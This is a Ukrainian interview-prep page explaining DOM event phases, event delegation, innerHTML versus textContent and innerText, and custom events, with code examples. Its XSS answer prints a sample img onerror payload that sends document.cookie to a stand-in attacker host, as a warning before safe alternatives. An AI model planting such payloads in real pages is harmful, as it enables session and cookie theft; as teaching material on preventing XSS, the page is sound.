Middle: питання на співбесіді з теми «DOM і події»
Питання з реальних співбесід з відповідями: Laravel і PHP, бази даних, JavaScript і фронтенд, Git, Docker, API, безпека й архітектура. Тими самими темами, що й тести.
4 питання
Подія в DOM проходить три фази:
- Перехоплення (capture) - від
windowвниз до цільового елемента. - Ціль - на самому елементі.
- Спливання (bubble) - назад угору до
window.
Обробники за замовчуванням спрацьовують на фазі спливання. Тому клік по кнопці в картці «бачать» і кнопка, і картка, і document.
Делегування - один обробник на спільному предку замість обробника на кожному елементі:
document.querySelector('#todo-list').addEventListener('click', (event) => {
const button = event.target.closest('[data-action="delete"]');
if (!button) return;
removeTodo(button.dataset.id);
});
Переваги:
- Працює для елементів, доданих пізніше (підвантажені рядки, нові пункти списку) - не треба вішати обробники заново.
- Один обробник замість тисячі - менше пам'яті й простіше прибирання.
Що треба знати:
event.target- елемент, на якому подія виникла (може бути<span>всередині кнопки).event.currentTarget- елемент, на якому висить обробник. Звідсиclosest()у прикладі.stopPropagation()зупиняє спливання, але ламає делегування й аналітику вище за деревом. Використовувати обережно.- Не всі події спливають:
focus/blur- ні (зате спливаютьfocusin/focusout),mouseenter/mouseleave- ні (спливаютьmouseover/mouseout).
innerHTML розбирає рядок як HTML. Якщо в рядку є дані від користувача, нападник може вставити розмітку, що виконає його JavaScript - це XSS.
comment.innerHTML = `<p>${userInput}</p>`;
// userInput = '<img src=x onerror="fetch(`https://evil.example/?c=${document.cookie}`)">'
Тег <script>, вставлений через innerHTML, не виконується, але обробники-атрибути (onerror, onload) - виконуються, тож цього захисту недостатньо.
Безпечні альтернативи:
textContent- для тексту. Усе виводиться як текст, без розбору HTML:
paragraph.textContent = userInput;
- Створення елементів через DOM API:
const link = document.createElement('a');
link.href = url; // але перевірте схему: javascript:-посилання теж XSS
link.textContent = title;
list.append(link);
- Шаблони фреймворків (Vue
{{ }}, JSX, Blade{{ }}) екранують дані автоматично. Небезпечні їхні «сирі» варіанти:v-html,dangerouslySetInnerHTML,{!! !!}. - Якщо HTML від користувача справді потрібен (редактор форматованого тексту) - лише після санітайзера на зразок DOMPurify, з білим списком тегів і атрибутів.
Додатковий рівень захисту - Content Security Policy, яка забороняє інлайнові скрипти й обробники. Вона не замінює екранування, але ускладнює експлуатацію пропущеної вразливості.
innerHTML також повільніший і знищує обробники подій та стан елементів, які перезаписує.
Усі три властивості читають і записують вміст елемента, але різними способами.
textContent - сирий текст усіх вузлів-нащадків, як він є в DOM:
- повертає текст прихованих елементів (
display: none), вміст<script>і<style>; - зберігає пробіли й переноси рядків з розмітки;
- не викликає перерахунку стилів - швидкий;
- при записі вставляє текст, а не розмітку:
<b>стане видимими символами.
innerText - текст як його бачить користувач:
- враховує CSS: приховані елементи не потрапляють у результат,
text-transform: uppercaseзмінює регістр, блокові елементи дають переноси рядків; - для цього браузер мусить розрахувати розкладку (layout). Читання
innerTextу циклі - джерело примусових перерахунків і повільної сторінки; - при записі теж вставляє текст, але перетворює
\nна<br>.
innerHTML - розмітка як рядок HTML:
- при читанні - серіалізований HTML нащадків;
- при записі - розбирає рядок як HTML, видаляючи старих нащадків разом з їхніми обробниками подій.
const name = '<img src=x onerror="stealCookies()">';
title.textContent = name; // безпечно: показується як текст
title.innerHTML = name; // XSS: виконається onerror
Що обирати:
| Задача | Властивість |
|---|---|
| вивести дані користувача чи API | textContent |
| прочитати текст для копіювання так, як його бачать | innerText |
| вставити довірену розмітку з власного шаблону | innerHTML (або краще createElement / <template>) |
Для запису тексту за замовчуванням - textContent: він швидший і безпечний. Це той самий принцип, що й {{ }} у Blade, який екранує HTML, на відміну від {!! !!}.
Ще варіанти: element.append('текст') теж додає текст безпечно; insertAdjacentHTML('beforeend', html) вставляє розмітку, не руйнуючи наявних нащадків (але так само небезпечний для недовірених даних).
value для полів форми: вміст <input> і <textarea> - це властивість value, а не textContent.
Крім вбудованих подій (click, submit), можна створювати власні - щоб частини інтерфейсу спілкувалися, не знаючи одна про одну.
// компонент кошика повідомляє, що змінилася кількість товарів
const event = new CustomEvent('cart:updated', {
detail: { count: 3, total: 1250 },
bubbles: true,
});
cartElement.dispatchEvent(event);
// лічильник у шапці слухає, не знаючи про кошик нічого, крім назви події
document.addEventListener('cart:updated', (event) => {
badge.textContent = event.detail.count;
});
Параметри:
detail- довільні дані події;bubbles: true- подія спливає до предків. За замовчуваннямfalse: без цього її почують лише обробники на самому елементі, і слухач наdocumentмовчатиме - найчастіша помилка;cancelable: true- слухачі можуть викликатиpreventDefault(), а той, хто відправив подію, - перевірити результат:
const allowed = form.dispatchEvent(new CustomEvent('order:before-submit', { cancelable: true, bubbles: true }));
if (!allowed) return; // хтось із слухачів скасував
composed: true- подія перетинає межу Shadow DOM (для веб-компонентів).
dispatchEvent синхронний: усі обробники виконуються до того, як виклик поверне керування. Це не черга повідомлень.
Назви подій - з префіксом-простором імен (cart:updated, modal:open), щоб не зіткнутися з вбудованими чи чужими подіями.
Де це використовується у TALL-стеку:
- Alpine:
$dispatch('notify', { message: 'Збережено' })створюєCustomEventзі спливанням, а@notify.window="..."слухає його наwindow; - Livewire:
$this->dispatch('post-created')у PHP доходить до браузера як подія, яку слухають черезLivewire.on(...)чи@post-created.windowв Alpine. Так серверний компонент повідомляє JavaScript-коду про зміни; - інтеграція сторонніх бібліотек (редакторів, карт): бібліотека відправляє подію, Alpine чи Livewire її підхоплюють.
Альтернатива без DOM - EventTarget як шина подій: const bus = new EventTarget(); і ті самі addEventListener/dispatchEvent, коли прив'язка до елемента не потрібна.